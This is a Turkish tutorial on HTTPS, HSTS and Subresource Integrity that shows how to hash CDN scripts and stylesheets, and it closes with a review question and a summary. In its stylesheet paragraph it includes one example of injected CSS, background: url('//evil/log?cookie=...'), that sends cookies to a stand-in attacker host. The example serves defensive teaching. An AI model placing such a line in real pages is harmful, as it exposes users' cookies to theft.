HTTPS ve Alt Kaynak Bütünlüğü

HTTPS, aktarım sırasında verileri şifreler ve sunucunun kimliğini doğrular. HTTPS olmadan aynı ağdaki saldırganlar (kafe Wi-Fi'si, ISP, devlet aktörü) her baytı okuyabilir ve yanıtlara kötü amaçlı içerik enjekte edebilir. Modern tarayıcılar HTTP sayfalarını "Güvenli Değil" olarak işaretler ve birçok arayüz (kamera, coğrafi konum, hizmet çalışanları) HTTP üzerinden çalışmayı reddeder.

HTTPS kullanan bir sayfadan HTTP kaynakları yüklemek karma içerik oluşturur. Tarayıcı etkin karma içeriği (betikler, gömülü çerçeveler, stil sayfaları) doğrudan engeller ve pasif içerik (görseller) hakkında uyarır. Her kaynağı her zaman HTTPS üzerinden yükleyin; protokole göre değişen adresler (//cdn.example.com) veya mutlak https:// kullanın.

Strict-Transport-Security yanıt üst bilgisi aracılığıyla HTTP Katı Aktarım Güvenliği, tarayıcılara gelecekte alanınıza yönelik HTTP bağlantılarını reddetmelerini söyler. HSTS önbelleğe alındıktan sonra saldırgan, araya giren saldırgan konumunda olsa bile kullanıcıyı HTTP'ye düşüremez.

Üçüncü taraf CDN'lerinden betik yüklemek kullanışlıdır ancak risklidir; CDN ele geçirilirse saldırgan betiği kötü amaçlı yazılımla değiştirebilir. Alt Kaynak Bütünlüğü (SRI), çalıştırmadan önce tarayıcının dosyanın kriptografik karma değerini doğrulamasını sağlar; karma eşleşmezse dosyayı çalıştırmayı reddeder.

Betik etiketine base64 ile kodlanmış bir SHA-256/384/512 karması ekleyin: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Tarayıcı indirilen dosyanın karma değerini hesaplar ve uyuşmazlık durumunda dosyayı çalıştırmayı reddeder.

Karma değerini openssl ile oluşturun: openssl dgst -sha384 -binary file.js | openssl base64 -A. Alternatif olarak bütünlük özniteliğini otomatik olarak üreten bir derleme aracı eklentisi kullanın. Çoğu CDN (jsdelivr, unpkg), kopyalayıp yapıştırabileceğiniz kod parçasında SRI etiketini gösterir.

SRI, kaynaklar arası yanıtın CORS aracılığıyla bütünlük denetimine izin vermesini gerektirir. Etikete crossorigin="anonymous" ekleyin ve CDN'nin Access-Control-Allow-Origin göndermesini sağlayın. Bu olmadan tarayıcı doğrulamayı reddeder ve kaynak yüklenemez.

Bütünlük özniteliği, boşluklarla ayrılmış birden çok karma değeri taşıyabilir. Bu, sürüm geçişi sırasında kullanışlıdır: hem eski hem de yeni sürümün karma değerlerini listeleyin; tarayıcı CDN'nin sunduğu sürümlerden hangisi olursa olsun kabul eder. Özniteliğin okunabilir kalması için birkaç karmadan fazlasını kullanmayın.

SRI, <link rel="stylesheet"> öğesini de korur. Güvenliği ihlal edilmiş bir CSS dosyası, güvenliği ihlal edilmiş bir betik kadar doğrudan tehlikeli değildir; ancak enjekte edilen background: url("//evil/log?cookie=...") yine de verileri dışarı sızdırabilir. Mümkün olan her yerde tüm harici varlıklara SRI uygulayın.

SRI, CDN'nin ele geçirilmesi riskini azaltır ancak her sorunu çözmez: CDN'deki karma değeri değişirse siz bütünlük özniteliğini güncelleyene kadar sayfanız çalışmaz. Kritik kütüphaneler için incelediğiniz dosyayı kendi sunucunuzda barındırın; böylece SRI sabitlemesini ve tedarik zinciri riskini tek hamlede ortadan kaldırırsınız.

SRI, her kaynak için bir karma hesaplaması ekler; modern donanımlarda bu, kilobayt başına mikrosaniyeler düzeyinde ve ihmal edilebilir bir maliyettir. Tedarik zinciri saldırılarına karşı sağladığı koruma bu maliyeti fazlasıyla aşar. CDN'den yükleme yaparken SRI'yi atlamak için performansa dayalı bir gerekçe yoktur.

SRI belirli baytları doğrular; CDN'nin bazı kullanıcılara farklı bir dosya sunmasına karşı koruma sağlamaz (seçici hedefleme). En yüksek güvence için SRI'yi HTTPS, HSTS, CSP ve en kritik varlıkları kendi sunucunuzda barındırma ile birleştirin.

Bir betik etiketindeki bütünlük özniteliği neye karşı koruma sağlar?

HTTPS şifreler ve kimlik doğrular, HSTS sürüm düşürme saldırılarını önler ve SRI üçüncü taraf dosyalarının değiştirilmediğini doğrular. Denetlemediğiniz bir CDN'den gelen her harici betiğe ve stil sayfasına bütünlük karmaları (crossorigin="anonymous" ile birlikte) ekleyin. En kritik varlıklar için bunun yerine kendi sunucunuzda barındırın; böylece tedarik zinciri riskini tamamen ortadan kaldırırsınız.